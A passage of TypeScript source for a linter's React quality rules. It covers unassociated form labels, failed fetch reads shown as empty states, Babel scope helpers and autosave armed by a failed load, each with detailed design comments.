true;\n}\n\n/** What the children walk is looking for. */\ninterface ChildFacts {\n /** Some non-whitespace literal text: the label actually says something. */\n text: boolean;\n /** A `{…}` child, i.e. content rendered from somewhere this file cannot see. */\n slot: boolean;\n /** A nested control (implicit association) or `<button>` (a wrapper, not a caption). */\n control: boolean;\n /** A capitalised or namespaced tag, whose semantics live in another file. */\n component: boolean;\n}\n\n/**\n * Inspect the label's children, descending only through child POSITIONS.\n *\n * Not `walkNodes`, and that matters: walkNodes would descend into attributes\n * too, and a perfectly ordinary `<span className={cn(\"req\")}>*</span>` inside\n * the label would register as a `{expression}` child and silence the rule. The\n * question is what the label RENDERS, not what its markup happens to contain.\n */\nfunction inspectChildren(children: JSXElement[\"children\"], facts: ChildFacts): void {\n for (const child of children) {\n switch (child.type) {\n case \"JSXText\":\n if (child.value.trim()) facts.text = true;\n break;\n case \"JSXExpressionContainer\":\n // `{/* a comment */}` parses as an empty expression. It renders\n // nothing and is not a slot.\n if (child.expression.type !== \"JSXEmptyExpression\") facts.slot = true;\n break;\n case \"JSXSpreadChild\":\n facts.slot = true;\n break;\n case \"JSXFragment\":\n inspectChildren(child.children, facts);\n break;\n case \"JSXElement\": {\n const name = child.openingElement.name;\n if (!isNativeTag(name)) {\n facts.component = true;\n break;\n }\n if (BANNED_CHILD_TAGS.has(tagName(name))) {\n facts.control = true;\n break;\n }\n inspectChildren(child.children, facts);\n break;\n }\n }\n }\n}\n\n/**\n * The bare native field this label is sitting in front of, if there is one.\n *\n * Scans opening tags in source order from the end of `</label>`. Another\n * `<label>` inside the window ends the search — the field after it belongs to\n * that label. A capitalised component is skipped rather than accepted: it may\n * render an input, but it may equally thread an id through a FormControl, and\n * \"may\" is not evidence.\n */\nfunction fieldAfter(labelEnd: number, openings: JSXOpeningElement[]): JSXOpeningElement | null {\n for (const opening of openings) {\n const start = opening.start ?? 0;\n if (start < labelEnd) continue;\n if (start - labelEnd > CONTROL_WINDOW) break;\n if (!isNativeTag(opening.name)) continue;\n const tag = tagName(opening.name);\n if (tag === \"label\") return null;\n if (CONTROL_TAGS.has(tag)) return opening;\n }\n return null;\n}\n\n/** Does the field already have an accessible name, or nothing to name? */\nfunction fieldIsNamed(opening: JSXOpeningElement): boolean {\n for (const attr of opening.attributes) {\n if (attr.type !== \"JSXAttribute\") continue;\n const name = attributeName(attr).toLowerCase();\n if (name === \"aria-label\" || name === \"aria-labelledby\") return true;\n if (name === \"type\" && attributeString(attr) === \"hidden\") return true;\n }\n return false;\n}\n\nexport const unassociatedLabel: QualityRule = {\n id: \"QA008\",\n title: \"A label that names nothing\",\n severity: \"low\",\n category: \"Accessibility\",\n description:\n \"This <label> has no htmlFor and no id, and the field beside it carries no name of its own, so the two are never connected. Clicking the text does not focus the field, a screen reader announces the input as unlabelled, voice control has no name to address it by, and browser autofill loses the hint it uses to fill the form.\",\n fix: 'Give the field an id and point the label at it — <label htmlFor=\"email\">Email</label><input id=\"email\" />. Wrapping the input inside the label works too and needs no ids.',\n precisionNotes:\n \"JSX files only, outside tests/docs/examples; the label must be non-self-closing with no htmlFor/for, no id, no aria-* and no spread; its children must be literal text with no {expression}, no nested control and no capitalised component; a NATIVE input/select/textarea must follow within ~200 characters with no other <label> intervening; that field must not carry aria-label/aria-labelledby or type=\\\"hidden\\\"; and the whole rule stands down if the repo already runs eslint-plugin-jsx-a11y. Each clause removes a class of correct code: for= in non-JSX templates, aria-labelledby pairs, prop-forwarding wrappers, slot children, implicit wrapping, and design-system fields that thread their own id.\",\n check(ctx) {\n const hits: QualityHit[] = [];\n // Whole-rule gate: their linter already says this, in their editor, at\n // write time. Computed once — it is a property of the repo, not the file.\n if (repoLintsA11y(ctx)) return hits;\n\n for (const file of ctx.files) {\n if (file.excluded) continue;\n // Clause 1. The extension check is not redundant with the parser's\n // language: it is what keeps `.vue`/`.svelte`/`.astro`/`.html`/`.php`\n // out, where `for=` is the correct spelling and would read as the bug.\n if (!/\\.(?:jsx|tsx)$/i.test(file.path)) continue;\n if (DOC_PATH.test(file.path)) continue;\n\n // No AST, no rule. A regex fallback would answer the question about a\n // character window instead of an element, which is the failure mode this\n // rule exists to avoid.\n const parsed = file.parsed;\n if (!parsed) continue;\n if (parsed.language !== \"jsx\" && parsed.language !== \"tsx\") continue;\n\n const elements: JSXElement[] = [];\n const openings: JSXOpeningElement[] = [];\n walkNodes(parsed.ast.program as Node, (node) => {\n if (node.type === \"JSXElement\") elements.push(node);\n else if (node.type === \"JSXOpeningElement\") openings.push(node);\n });\n // Source order, because clause 4 is a question about proximity and the\n // walk order of an object graph is not source order.\n openings.sort((a, b) => (a.start ?? 0) - (b.start ?? 0));\n\n for (const element of elements) {\n const opening = element.openingElement;\n if (!isNativeTag(opening.name) || tagName(opening.name) !== \"label\") continue;\n\n // ── Clause 2: the tag itself carries nothing that could associate it.\n if (opening.selfClosing) continue;\n if (!isBareLabel(opening)) continue;\n\n // ── Clause 3: it renders literal text and only literal text.\n const facts: ChildFacts = { text: false, slot: false, control: false, component: false };\n inspectChildren(element.children, facts);\n if (!facts.text || facts.slot || facts.control || facts.component) continue;\n\n // ── Clause 4: a bare native field is sitting right after it.\n // An element with no offsets (recovered parse) is skipped rather\n // than measured from 0, which would attribute the top of the file\n // to this label.\n if (element.end == null) continue;\n const field = fieldAfter(element.end, openings);\n if (!field) continue;\n\n // ── Clause 5: that field is not already named some other way.\n if (fieldIsNamed(field)) continue;\n\n const line = opening.loc?.start.line ?? lineAt(file.content, opening.start ?? 0);\n hits.push({ file: file.path, line });\n }\n }\n return hits;\n },\n};\n","import type { NodePath } from \"@babel/traverse\";\n// eslint-disable-next-line @typescript-eslint/no-require-imports\nimport _traverse from \"@babel/traverse\";\nimport type {\n CallExpression,\n Function as BabelFunction,\n LogicalExpression,\n Node,\n} from \"@babel/types\";\nimport { getBindingIdentifiers } from \"@babel/types\";\nimport { lineAt } from \"../context.js\";\nimport { unwrap } from \"./scope.js\";\nimport type { QualityFile, QualityHit, QualityRule } from \"../types.js\";\nimport {\n ERROR_PATH_SIGNALS,\n isFetchCallee,\n nodeEnd,\n nodeStart,\n} from \"./silent-failed-write.js\";\n\n/**\n * QA009 — a failed read is rendered as an empty state.\n *\n * The browser fetches a list, the request fails or the body is not what the\n * component expected, and `|| []` turns that into a page that says \"No active\n * sessions\", \"No scans yet\", \"No team members\". It is the same lie as QA001,\n * told one layer up: QA001 is the server answering 200 with an empty payload,\n * this is the client manufacturing the empty payload for itself. A user reading\n * the security page of their account is told nothing is signed in, and acts on\n * it.\n *\n * WHY THE `.catch` EXONERATION IS INVERTED HERE. QA002 treats `.catch(` as\n * proof the author handled the failure, and for a write that is right: a\n * `.catch` around a mutation is where the retry or the error toast lives. For a\n * read it is the opposite. The shipped defect in this product was\n *\n * .then(data => { setServerSessions(data.sessions || []); setLoaded(true); })\n * .catch(() => setLoaded(true));\n *\n * — a `.catch` whose entire body ASSERTS THE READ COMPLETED. So this rule\n * imports QA002's `ERROR_PATH_SIGNALS` and subtracts exactly one entry. Same\n * constant, opposite meaning, and the subtraction is the rule.\n *\n * WHY THE LITERAL `fetch(` IS REQUIRED. Throwing clients — ky, wretch, ofetch —\n * reject on a non-2xx, so `|| []` after them covers only a genuinely absent\n * field and is correct. Requiring the global `fetch(` in the unit excludes them,\n * and excludes in-file wrappers for free: a `getJson()` helper that checks `.ok`\n * and rethrows leaves its callers containing neither `fetch(` nor `.json()`.\n *\n * Measured before shipping: 437 real .tsx files, 6 fires across 5 sites, zero\n * false positives, every fire hand-verified. Three of the five had already been\n * fixed by hand in this repo and the rule goes silent on all three at their\n * fixed revision — which is the A/B that matters. The fourth,\n * settings/page.tsx, was live and unfixed when the rule found it.\n */\n\nconst traverse = (\n typeof _traverse === \"function\" ? _traverse : (_traverse as { default: typeof _traverse }).default\n) as typeof _traverse;\n\n/* ------------------------------------------------------------------ *\n * Clause 1 — what counts as an error path for a READ.\n * ------------------------------------------------------------------ */\n\n/**\n * QA002's list, minus `.catch(`.\n *\n * Derived rather than restated so the two cannot drift: if someone adds a new\n * way of telling the user a request failed, both rules learn it at once. The\n * one subtraction is spelled out above and is the whole reason this rule\n * exists separately.\n */\nconst READ_ERROR_PATH_SIGNALS = ERROR_PATH_SIGNALS.filter(\n (re) => re.source !== /\\.catch\\s*\\(/.source,\n);\n\n/* ------------------------------------------------------------------ *\n * Clause 2 — the fallback that manufactures the empty state.\n * ------------------------------------------------------------------ */\n\n/** `[]` or `{}` written literally, with nothing in it. */\nfunction isEmptyCollectionLiteral(node: Node): boolean {\n if (node.type === \"ArrayExpression\") return node.elements.length === 0;\n if (node.type === \"ObjectExpression\") return node.properties.length === 0;\n return false;\n}\n\n/**\n * A React state setter, by the convention React itself documents.\n *\n * Deliberately not \"any call\": `normalize(data.rows || [])` is a pure helper\n * and says nothing about what the user is shown. The defect is specifically\n * that the empty value reaches RENDERED STATE.\n */\nconst SETTER = /^set[A-Z][A-Za-z0-9_]*$/;\n\nfunction setterName(callee: Node): string | null {\n if (callee.type === \"Identifier\" && SETTER.test(callee.name)) return callee.name;\n return null;\n}\n\n/**\n * The left operand has to be a property read, not a bare identifier.\n *\n * `setRows(rows || [])` is a defaulting of something the component already\n * holds. `setRows(data.rows || [])` is a read of a field off a body that may\n * never have arrived, which is the defect. Optional chaining counts — it is the\n * same read, written defensively about the same absence.\n */\nfunction isPropertyRead(node: Node): boolean {\n return node.type === \"MemberExpression\" || node.type === \"OptionalMemberExpression\";\n}\n\n/**\n * Does a `.json()` appear anywhere in this span?\n *\n * Deliberately textual and deliberately in ONE place. The chain walk below is\n * the rigorous test and decides the common cases; this is the fallback for the\n * two positions a walk cannot reach — inside a `.then` callback, and across a\n * receiver whose shape the walk has already left. Two copies of the same probe\n * had started to drift on which span they measured.\n */\nfunction mentionsJsonParse(node: Node, code: string): boolean {\n return /\\.json\\s*\\(/.test(code.slice(nodeStart(node), nodeEnd(node)));\n}\n\n/**\n * Does this call chain end up parsing a response body?\n *\n * Walks LEFT along the callee chain rather than matching one shape, because\n * the same read has many spellings and an earlier draft of this clause\n * recognised exactly one of them (`const x = await res.json()`). A review\n * found five that it silently dropped — an `as` cast, a destructured body, a\n * non-null assertion, a plain assignment, and `res.json().catch(() => ({}))` —\n * and the first two are the dominant TypeScript spellings in the .tsx files\n * this rule exists for.\n *\n * It must stay a CHAIN walk. `await someHelper(x.json())` mentions `.json(`\n * but is a throwing-client call, which is the shape clause 2 exonerates.\n */\nfunction chainParsesBody(node: Node, code: string): boolean {\n let cur = unwrap(node);\n for (;;) {\n if (cur.type === \"CallExpression\" || cur.type === \"OptionalCallExpression\") {\n const callee = unwrap(cur.callee as Node);\n if (\n (callee.type === \"MemberExpression\" || callee.type === \"OptionalMemberExpression\") &&\n callee.property.type === \"Identifier\"\n ) {\n const method = callee.property.name;\n if (method === \"json\") return true;\n if (method === \"then\" || method === \"catch\") {\n const cb = cur.arguments[0] as Node | undefined;\n if (\n cb &&\n (cb.type === \"ArrowFunctionExpression\" || cb.type === \"FunctionExpression\") &&\n /\\.json\\s*\\(/.test(code.slice(nodeStart(cb), nodeEnd(cb)))\n ) {\n return true;\n }\n }\n cur = unwrap(callee.object as Node);\n continue;\n }\n // Already unwrapped above; re-deriving it was a second call for nothing.\n cur = callee;\n continue;\n }\n if (cur.type === \"MemberExpression\" || cur.type === \"OptionalMemberExpression\") {\n cur = unwrap(cur.object as Node);\n continue;\n }\n return false;\n }\n return false;\n}\n\n/**\n * Every local name a binding pattern introduces.\n *\n * `t.getBindingIdentifiers` is the Babel API for this, and it handles the cases\n * a hand-rolled walk forgets — array patterns, defaults, rest elements. The\n * version this replaces handled object patterns only.\n */\nfunction boundNames(id: Node, into: Set<string>): void {\n for (const name of Object.keys(getBindingIdentifiers(id))) into.add(name);\n}\n\n/**\n * Identifiers in this unit that hold a body this unit parsed.\n *\n * Clause 2 asks the UNIT to contain the literal `fetch(`, and a unit can hold\n * more than one read. Measured on 168 sampled repositories, that is not\n * hypothetical: in one, a `useEffect` called a throwing helper\n * (`await fetchLeagueData()`), defaulted a field off its result with `|| []`,\n * and then looped over the result issuing a real `fetch()` per item. The inner\n * fetch satisfied clause 2 for a fallback that had nothing to do with it —\n * while the outer call is exactly the throwing-client shape clause 2 exists to\n * exonerate.\n *\n * So the defaulted value has to come from a body this unit actually parsed.\n * `await someHelper()` does not qualify, because a helper that checks `.ok`\n * and rethrows is the correct pattern and its caller's `|| []` covers a\n * genuinely absent field.\n */\nfunction parsedBodyBindings(\n unit: NodePath<BabelFunction>,\n code: string,\n): Set<string> {\n const names = new Set<string>();\n\n // The one place a node can genuinely be absent — `let data;` has no init.\n // Everything downstream takes a Node, so four never-true guards disappear.\n const record = (id: Node | undefined, init: Node | null | undefined) => {\n if (!id || !init) return;\n const awaited = unwrap(init);\n if (awaited.type !== \"AwaitExpression\") return;\n if (!chainParsesBody(awaited.argument as Node, code)) return;\n boundNames(id, names);\n };\n\n unit.traverse({\n VariableDeclarator(decl) {\n record(decl.node.id as Node, decl.node.init as Node | undefined);\n },\n\n // `let data; data = await res.json();` — the same read, not a declaration.\n AssignmentExpression(assign) {\n if (assign.node.operator !== \"=\") return;\n record(assign.node.left as Node, assign.node.right as Node);\n },\n\n // The promise-chain spelling, which is the shipped defect's own:\n // fetch(u).then(r => r.json()).then(data => setRows(data.rows || []))\n // `data` is a callback parameter rather than a binding, and it is just as\n // much a body this unit parsed. Keyed on the RECEIVER containing `.json(`,\n // so `somePromise.then(x => …)` does not qualify.\n CallExpression(call) {\n const callee = call.node.callee as Node;\n if (\n callee.type !== \"MemberExpression\" &&\n callee.type !== \"OptionalMemberExpression\"\n )\n return;\n if (callee.property.type !== \"Identifier\" || callee.property.name !== \"then\") return;\n const receiver = callee.object as Node;\n if (!mentionsJsonParse(receiver, code)) return;\n const cb = call.node.arguments[0] as Node | undefined;\n if (!cb) return;\n if (cb.type !== \"ArrowFunctionExpression\" && cb.type !== \"FunctionExpression\") return;\n const param = cb.params[0] as Node | undefined;\n if (param) boundNames(param, names);\n },\n });\n return names;\n}\n\n/**\n * Does this property read hang off a body this unit parsed?\n *\n * Spellings, all of them real:\n * const data = await res.json(); data.rows || []\n * const data = (await res.json()) as T; data.rows || []\n * const { payload } = await res.json(); payload.rows || []\n * .then(data => …) data.rows || []\n * setKeys((await res.json()).keys || []) inline, no name at all\n */\nfunction derivesFromParsedBody(node: Node, bodies: Set<string>, code: string): boolean {\n let cur = unwrap(node);\n while (\n cur &&\n (cur.type === \"MemberExpression\" || cur.type === \"OptionalMemberExpression\")\n ) {\n cur = unwrap(cur.object as Node);\n }\n if (cur.type === \"Identifier\") return bodies.has(cur.name);\n // Anything else is either the chain itself or not a chain at all, and\n // chainParsesBody already answers false for the second case.\n if (cur.type === \"AwaitExpression\") cur = unwrap(cur.argument as Node);\n return chainParsesBody(cur, code);\n}\n\nfunction emptyFallbackArgument(node: Node): LogicalExpression | null {\n if (node.type !== \"LogicalExpression\") return null;\n if (node.operator !== \"||\" && node.operator !== \"??\") return null;\n if (!isEmptyCollectionLiteral(node.right)) return null;\n if (!isPropertyRead(node.left)) return null;\n return node;\n}\n\n/* ------------------------------------------------------------------ *\n * Clause 3 — the unit.\n * ------------------------------------------------------------------ */\n\n/** `useEffect(...)` / `useLayoutEffect(...)`, by callee name. */\nfunction isEffectCall(node: Node): boolean {\n if (node.type !== \"CallExpression\") return false;\n const callee = node.callee;\n const name =\n callee.type === \"Identifier\"\n ? callee.name\n : callee.type === \"MemberExpression\" && callee.property.type === \"Identifier\"\n ? callee.property.name\n : null;\n return name === \"useEffect\" || name === \"useLayoutEffect\";\n}\n\n/** A component, by the casing convention every React codebase follows. */\nfunction looksLikeComponent(path: NodePath<BabelFunction>): boolean {\n const parent = path.parent;\n if (parent.type === \"VariableDeclarator\" && parent.id.type === \"Identifier\") {\n return /^[A-Z]/.test(parent.id.name);\n }\n const node = path.node;\n if (\n (node.type === \"FunctionDeclaration\" || node.type === \"FunctionExpression\") &&\n node.id &&\n /^[A-Z]/.test(node.id.name)\n ) {\n return true;\n }\n return false;\n}\n\n/**\n * The span the clauses are asked about.\n *\n * Not the nearest function — for `.then(data => setRows(data.rows || []))` that\n * would be the arrow alone, which cannot see the `.catch` two lines below it,\n * and the rule would report the exact code that DOES handle its failure. Not\n * the whole component either: a component with an unrelated `toast.error` in a\n * submit handler would exonerate a broken loader thirty lines away.\n *\n * So: the effect callback when the fetch is inside one, and otherwise the\n * outermost non-component function containing it — the loader, in both cases.\n */\nfunction unitFor(fetchPath: NodePath<CallExpression>): NodePath<BabelFunction> | null {\n let candidate: NodePath<BabelFunction> | null = null;\n for (\n let fn: NodePath<BabelFunction> | null = fetchPath.getFunctionParent();\n fn !== null;\n fn = fn.getFunctionParent()\n ) {\n if (looksLikeComponent(fn)) break;\n candidate = fn;\n // An effect callback is the boundary by definition: React owns what is\n // outside it, and everything the load does is inside.\n if (fn.parent && isEffectCall(fn.parent)) return fn;\n }\n return candidate;\n}\n\n/* ------------------------------------------------------------------ *\n * The rule.\n * ------------------------------------------------------------------ */\n\nexport const failedReadEmptyState: QualityRule = {\n id: \"QA009\",\n title: \"A failed read is rendered as an empty state\",\n severity: \"high\",\n category: \"Correctness\",\n description:\n \"This loader turns a failed or unexpected response into an empty list and renders it, so the page shows the same thing it would show a brand-new account: no sessions, no scans, no members. Nothing tells the user the request failed, and anything they do next — including saving — acts on data the app never actually received.\",\n fix: \"Check the response before using it: on a non-2xx, or a body without the field you expected, set an error state and render that instead of the empty state. Keep the `|| []` only for a response you have already confirmed arrived.\",\n precisionNotes:\n \"Client files only, and only a unit containing the literal global `fetch(` — throwing clients (ky, wretch, ofetch) reject on non-2xx, so `|| []` after them is correct, and in-file wrappers that check `.ok` and rethrow leave their callers containing no `fetch(` at all. The empty fallback must be `|| []`/`?? []`/`{}` over a PROPERTY READ passed straight to a `setX` state setter: `setRows(rows || [])` defaults a value the component already holds, and a pure helper's argument is never rendered. The unit is the effect callback, or the outermost non-component function — the nearest function cannot see the `.catch` below it, and the whole component would let an unrelated toast.error exonerate a broken loader. Exoneration is QA002's ERROR_PATH_SIGNALS with `.catch(` REMOVED: for a write a `.catch` means the author handled it, for a read `.catch(() => setLoaded(true))` is the defect itself. The defaulted value must come from a body the unit itself parsed — `await res.json()`, a `.then` off a receiver containing `.json(`, or the inline `(await res.json()).rows` — because a unit can hold more than one read, and a nearby real fetch was found satisfying the clause for a fallback belonging to a throwing helper. Measured at 6 fires over 5 sites in 437 .tsx files with zero false positives, then across 168 third-party repositories: 8 fires over 5 of them, every one re-read in full and every one real. That is a precision result, not a recall one — the client files those repositories hold are about a third of them, and the parsed-body clause recognised only one spelling of the read at the time it was measured.\",\n\n check(ctx) {\n const hits: QualityHit[] = [];\n\n for (const file of ctx.files) {\n if (file.excluded) continue;\n // A route handler has no user in front of it to show an empty state to;\n // its caller is the one that renders. Same gate as QA002.\n if (!file.isClient) continue;\n if (file.isServer) continue;\n if (/^\\s*[\"']use server[\"']/m.test(file.code)) continue;\n // No `fetch` anywhere means clause 2 can never hold, so the whole-file\n // traversal below is wasted. Measured on 819 files: 31 of the 64 gated\n // files were being traversed for nothing, 17% of the rule's time. Same\n // shape as QA010's EMPTY_INITIAL prefilter, and a strict superset of what\n // isFetchCallee accepts — `file.code` is comment-masked with offsets\n // preserved, so this cannot hide a real call.\n if (!file.code.includes(\"fetch\")) continue;\n\n const parsed = file.parsed;\n if (!parsed) continue;\n\n // Units already evaluated. The whole evaluation depends only on the unit\n // and the file, so it is deterministic and one pass is enough — this\n // used to key on \"already reported\", which short-circuits only AFTER a\n // hit. For the common no-hit case a loader containing N fetch calls\n // (exactly the shape the corpus false positive had, a loop issuing one\n // fetch per item) re-traversed the same subtree N times.\n const examined = new Set<number>();\n\n traverse(parsed.ast, {\n CallExpression(path) {\n if (!isFetchCallee(path.node.callee)) return;\n\n const unit = unitFor(path);\n if (!unit) return;\n const start = nodeStart(unit.node);\n if (examined.has(start)) return;\n examined.add(start);\n\n const unitSource = file.code.slice(start, nodeEnd(unit.node));\n // Clause 1: anything that tells the user the read failed.\n if (READ_ERROR_PATH_SIGNALS.some((re) => re.test(unitSource))) return;\n\n // Clause 2: an empty collection handed to a state setter, defaulting\n // a field off a body THIS unit parsed — not off whatever else the\n // unit happened to await. See parsedBodyBindings.\n const bodies = parsedBodyBindings(unit, file.code);\n\n let hit: { line: number; setter: string } | null = null;\n unit.traverse({\n CallExpression(inner) {\n if (hit) return;\n const name = setterName(inner.node.callee);\n if (!name) return;\n const arg = inner.node.arguments[0];\n if (!arg) return;\n const fallback = emptyFallbackArgument(arg as Node);\n if (!fallback) return;\n if (!derivesFromParsedBody(fallback.left as Node, bodies, file.code)) return;\n hit = { line: lineAt(file.content, nodeStart(fallback)), setter: name };\n },\n });\n\n if (!hit) return;\n const { line, setter } = hit as { line: number; setter: string };\n hits.push({\n file: file.path,\n line,\n detail: `\\`${setter}\\` is handed an empty collection whenever this read fails or the body is missing that field, and nothing in this loader tells the user the request did not succeed. The page renders its empty state — the same screen a brand-new account sees.`,\n });\n },\n });\n }\n\n return hits;\n },\n};\n","import type { Node } from \"@babel/types\";\nimport type { NodePath } from \"@babel/traverse\";\n\n/**\n * Scope-resolving primitives the quality rules kept hand-rolling.\n *\n * Every rule here needs two things about a React state value — what it started\n * as, and whether the user drives it — and before this file each one answered\n * by regex over the whole file. That is one shape of bug, found three times:\n *\n * QA009 asked whether the enclosing UNIT held a literal `fetch(`, and an\n * unrelated nested fetch satisfied it.\n * QA010 resolved a state's initial value through a file-keyed map of bare\n * names, so a second component's `loaded` overwrote the first one's.\n * QA012 resolved `useState` and its setter by regex over `file.code`, so a\n * second component's state satisfied the clause for the first one's effect.\n *\n * The root cause is the same in all three: a clause tested at a wider scope\n * than the thing it qualifies. A regex over a file cannot see scope, so the\n * only way to stop writing this bug is to make the scope-correct answer the\n * easy one to reach for.\n */\n\n/** Strip the wrappers that carry no runtime meaning but hide the node under them. */\nexport function unwrap(node: Node): Node {\n let cur = node;\n while (\n cur.type === \"TSAsExpression\" ||\n cur.type === \"TSNonNullExpression\" ||\n cur.type === \"TSTypeAssertion\" ||\n cur.type === \"TSSatisfiesExpression\"\n ) {\n cur = (cur as unknown as { expression: Node }).expression;\n }\n return cur;\n}\n\n/** The terminal name of a call's callee: `useState(…)` and `React.useState(…)` both give \"useState\". */\nexport function calleeName(node: Node): string | null {\n if (node.type !== \"CallExpression\" && node.type !== \"OptionalCallExpression\") return null;\n const c = node.callee as Node;\n if (c.type === \"Identifier\") return c.name;\n if (\n (c.type === \"MemberExpression\" || c.type === \"OptionalMemberExpression\") &&\n c.property.type === \"Identifier\"\n ) {\n return c.property.name;\n }\n return null;\n}\n\nexport interface UseStateBinding {\n /** The `useState(...)` argument, or undefined for `useState()`. */\n initial: Node | undefined;\n /** The setter name as destructured — `setLoaded`, not a guess at it. */\n setter: string | null;\n /** The declarator, for callers that need to walk further. */\n decl: NodePath;\n}\n\n/**\n * Resolve `name` to the `useState` destructure that binds it, THROUGH SCOPE.\n *\n * Asking from the site that cares is the whole point: two components in one\n * file may each declare `loaded`, and only the binding visible from the call\n * site is the one that answers for it.\n *\n * Returns undefined when the binding is not a `useState` array destructure,\n * which callers should read as \"cannot tell\" rather than as a negative.\n */\nexport function useStateBinding(\n at: NodePath,\n name: string,\n): UseStateBinding | undefined {\n const binding = at.scope.getBinding(name);\n if (!binding) return undefined;\n const decl = binding.path;\n if (!decl.isVariableDeclarator()) return undefined;\n const id = decl.node.id;\n const init = decl.node.init;\n if (id.type !== \"ArrayPattern\") return undefined;\n if (!init || calleeName(init as Node) !== \"useState\") return undefined;\n const first = id.elements[0];\n if (!first || first.type !== \"Identifier\" || first.name !== name) return undefined;\n const second = id.elements[1];\n return {\n initial: (init as { arguments: Node[] }).arguments[0],\n setter: second && second.type === \"Identifier\" ? second.name : null,\n decl,\n };\n}\n\n/**\n * `[]`, `{}` or `\"\"` — the initial that turns \"wrote too early\" into \"erased\n * what was there\".\n *\n * `useState(0)` is deliberately absent: a counter synced to storage has\n * different semantics and no verified defect behind it.\n */\nexport function isEmptyInitial(node: Node | undefined): boolean {\n if (!node) return false;\n if (node.type === \"ArrayExpression\") return node.elements.length === 0;\n if (node.type === \"ObjectExpression\") return node.properties.length === 0;\n if (node.type === \"StringLiteral\") return node.value === \"\";\n if (node.type === \"TemplateLiteral\") {\n return node.quasis.length === 1 && node.quasis[0].value.raw === \"\";\n }\n return false;\n}\n","import type { NodePath } from \"@babel/traverse\";\n// eslint-disable-next-line @typescript-eslint/no-require-imports\nimport _traverse from \"@babel/traverse\";\nimport type { CallExpression, Node } from \"@babel/types\";\nimport { isClientTarget, lineAt } from \"../context.js\";\nimport type { QualityHit, QualityRule } from \"../types.js\";\nimport { isEmptyInitial, useStateBinding } from \"./scope.js\";\nimport { nodeEnd, nodeStart } from \"./silent-failed-write.js\";\n\n/**\n * QA010 — autosave is armed by a load that failed.\n *\n * The component loads the user's saved state, sets a `loaded` flag, and an\n * effect watching that state writes it back. The flag is set in a `finally`,\n * so a failed load arms autosave exactly like a successful one — and the\n * component is still holding the empty defaults it initialised with. The\n * effect then writes those empty defaults over whatever the user actually had.\n *\n * This is not hypothetical. It shipped here: opening the checklist page during\n * a database blip POSTed `{overrides:{}, timestamps:{}, customItems:[]}` over\n * a filled-in checklist, including every custom item the user had typed. No\n * interaction was required, and the write looked exactly like a legitimate\n * one. The fix is the two lines this rule looks for the absence of — set the\n * flag on the success path only, and record the failure separately.\n *\n * WHY `finally` AND NOT \"the guard is missing\". The defect HAD a guard:\n * `if (stateLoaded && !stateLoadFailed) saveState()`. A rule that fires on\n * unguarded writes would have missed it entirely and reported every correct\n * autosave in the world. What was wrong was the ARMING — a `finally` treats\n * failure and success identically, which is the correct behaviour for a\n * spinner and the wrong one for a permission to write.\n *\n * WHY THAT IS SAFE. `finally { setLoading(false) }` is everywhere and correct,\n * so the flag set in the `finally` has to be the same identifier the persistent\n * write is gated on. That single join is what separates one real defect from\n * the hundreds of correct `finally` blocks around it.\n */\n\nconst traverse = (\n typeof _traverse === \"function\" ? _traverse : (_traverse as { default: typeof _traverse }).default\n) as typeof _traverse;\n\n/**\n * Does anything this writer touches start out empty?\n *\n * Clause 2 asks whether the write can ERASE, and only the state the write\n * carries can answer that. It used to be a regex over the whole file, which is\n * the rule's own documented root cause — a clause tested at a wider scope than\n * the thing it qualifies — and it meant an unrelated `useState(\"\")` in a\n * second component satisfied the erasure premise for a write that had nothing\n * to do with it.\n *\n * Scoped to the writer and resolved through scope, so the state has to be one\n * this write carries and one declared where this function can see it.\n *\n * \"Carries\" includes the DEPENDENCY ARRAY of a `useCallback`/`useMemo` wrapper\n * and of the effect itself. That is not a concession — a dependency array is\n * the idiomatic declaration of what a callback closes over, and the shipped\n * defect is written exactly that way: `useCallback(() => fetch(url, {method:\n * \"POST\"}), [overrides])`. Reading only the body would have dropped it.\n */\nfunction writerTouchesEmptyState(writers: NodePath[]): boolean {\n for (const writer of writers) {\n let found = false;\n writer.traverse({\n Identifier(id) {\n if (found) return;\n if (!id.isReferencedIdentifier()) return;\n if (isEmptyInitial(useStateBinding(id, id.node.name)?.initial)) found = true;\n },\n });\n if (found) return true;\n }\n return false;\n}\n\n/* ------------------------------------------------------------------ *\n * Clause 1 — what counts as a persistent write.\n * ------------------------------------------------------------------ */\n\n/** A write that outlives the tab: the server, or storage. */\nconst PERSISTENT_WRITE =\n /\\bfetch\\s*\\([^)]{0,400}?method\\s*:\\s*[\"'`](?:POST|PUT|PATCH)[\"'`]|\\blocalStorage\\s*\\.\\s*setItem\\s*\\(|\\bsessionStorage\\s*\\.\\s*setItem\\s*\\(/is;\n\n/* ------------------------------------------------------------------ *\n * Clause 2 — the initial value that makes the write destructive.\n * ------------------------------------------------------------------ */\n\n/**\n * `useState({})` / `useState([])` / `useState(\"\")`.\n *\n * `useState(0)` is deliberately absent: a counter synced to storage has\n * different semantics, and no verified defect behind it. The empty literal is\n * what turns \"wrote too early\" into \"erased what was there\".\n */\nconst EMPTY_INITIAL = /\\buseState\\s*(?:<[^>]*>)?\\s*\\(\\s*(?:\\[\\s*\\]|\\{\\s*\\}|\"\"|''|``)\\s*\\)/;\n\n/* ------------------------------------------------------------------ *\n * Small helpers.\n * ------------------------------------------------------------------ */\n\nfunction calleeIdentifier(node: Node): string | null {\n if (node.type !== \"CallExpression\") return null;\n const c = node.callee;\n if (c.type === \"Identifier\") return c.name;\n if (c.type === \"MemberExpression\" && c.property.type === \"Identifier\") return c.property.name;\n return null;\n}\n\nfunction isEffectCall(node: Node): boolean {\n const name = calleeIdentifier(node);\n return name === \"useEffect\" || name === \"useLayoutEffect\";\n}\n\n/** `setFoo` → `foo`. The React naming convention, which React itself documents. */\n/** Two literal nodes that denote the same value. Non-literals never match. */\nfunction sameLiteral(a: Node | undefined, b: Node | undefined): boolean {\n if (!a || !b || a.type !== b.type) return false;\n switch (a.type) {\n case \"BooleanLiteral\":\n return a.value === (b as typeof a).value;\n case \"NumericLiteral\":\n return a.value === (b as typeof a).value;\n case \"StringLiteral\":\n return a.value === (b as typeof a).value;\n case \"NullLiteral\":\n return true;\n default:\n // Objects, arrays, identifiers, calls — not decidable from the node, so\n // the call is not treated as a reset and the rule proceeds as before.\n return false;\n }\n}\n\n/** `finally { setX(v) }` where `v` is exactly what `useState` started X as. */\nfunction setsBackToInitial(call: Node, initial: Node | undefined): boolean {\n if (call.type !== \"CallExpression\") return false;\n if (call.arguments.length !== 1) return false;\n return sameLiteral(call.arguments[0] as Node, initial);\n}\n\nfunction stateFromSetter(setter: string): string | null {\n const m = 